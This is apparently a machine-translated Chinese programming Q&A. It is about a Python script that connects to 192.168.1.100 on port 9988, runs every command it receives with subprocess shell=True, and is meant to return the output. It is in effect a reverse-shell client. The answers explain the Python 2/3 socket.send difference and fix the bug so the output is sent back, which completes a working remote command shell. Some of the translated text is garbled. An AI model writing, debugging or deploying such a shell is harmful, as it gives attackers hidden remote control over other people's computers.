尽我所能。有人可以告诉我确切的错误领域。 还试图将其更改为" Encode(" UTF-8)*,但没有。
import os
import socket
import subprocess
s = socket.socket()
host = '192.168.1.100'
port = 9988
s.connect((host,port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir((data[3:].decode("utf-8")))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(bytes)
python2.x:
socket.Send(String [,flags]) 将数据发送到插座。插座必须连接到远程套接字。可选标志的参数与上面的recv()具有相同的含义。返回发送的字节数。应用程序负责检查是否已发送所有数据;如果仅传输了一些数据,则该应用程序需要尝试传递其余数据。有关此概念的更多信息,请咨询套接字编程howto。
python3
socket.Send(bytes [,flags]) 将数据发送到插座。插座必须连接到远程套接字。可选标志的参数与上面的recv()具有相同的含义。返回发送的字节数。应用程序负责检查是否已发送所有数据;如果仅传输了一些数据,则该应用程序需要尝试传递其余数据。有关此主题的更多信息,请咨询套接字编程howto。
您用Python2和Python3标签标记了您的问题,但是Python2.x和Python3中的socket.send()
不同。在Python2中,send()
期望字符串类型,但是在Python3中,它期望类似字节般的对象,您可以做的是将str.encode()
对象传递给它。
您正在通过bytes
,但它是python的内置类型,而不是字节般的对象。
您可以尝试s.send(output_str.encode())
,它将将编码的output_str发送到客户端端(一旦客户端接收到数据,就必须对其进行解码)。
您没有将名称"字节"绑定到任何字符串。因此,内置类型的"字节"传递给S.Send函数。
您需要发送输出字符串,
s.send(output_str)
因为bytes
是Python中的内置数据类型。